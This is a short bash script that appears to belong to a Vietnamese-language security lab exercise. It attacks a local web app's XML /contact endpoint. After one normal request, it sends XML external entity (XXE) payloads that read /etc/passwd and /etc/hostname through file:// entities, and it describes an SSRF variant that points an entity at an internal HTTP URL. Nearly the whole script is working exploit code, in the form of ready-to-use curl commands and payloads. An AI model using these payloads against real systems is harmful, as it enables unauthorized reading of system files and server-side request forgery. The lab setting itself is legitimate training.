#!/usr/bin/env bash
# Exploit lab 8.3 - XXE doc file
# Yeu cau app chay o 127.0.0.1:8066
set -u
BASE="http://127.0.0.1:8066"

CT='Content-Type: application/xml'

echo "=== [0] Request binh thuong (khong co entity) ==="
curl -s -X POST -H "$CT" --data-binary '<contact><name>Hai</name><msg>xin chao</msg></contact>' "$BASE/contact"

echo
echo "=== [1] XXE doc /etc/passwd qua external entity SYSTEM file:// ==="
read -r -d '' P1 <<'XML'
<?xml version="1.0"?>
<!DOCTYPE contact [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<contact><name>&xxe;</name><msg>test</msg></contact>
XML
curl -s -X POST -H "$CT" --data-binary "$P1" "$BASE/contact"

echo
echo "=== [2] XXE doc file khac (/etc/hostname) ==="
read -r -d '' P2 <<'XML'
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY f SYSTEM "file:///etc/hostname">]>
<contact><name>&f;</name><msg>x</msg></contact>
XML
curl -s -X POST -H "$CT" --data-binary "$P2" "$BASE/contact"

echo
echo "=== [3] (SSRF) entity tro URL http noi bo - vi du nguyen ly ==="
echo "    Doi payload: <!ENTITY x SYSTEM \"http://127.0.0.1:8066/\"> -> server tu GET URL do."
echo "    (khong chay o day de tranh vong lap; xem bai hoc muc SSRF/blind OOB)"

echo
echo "=== DONE ==="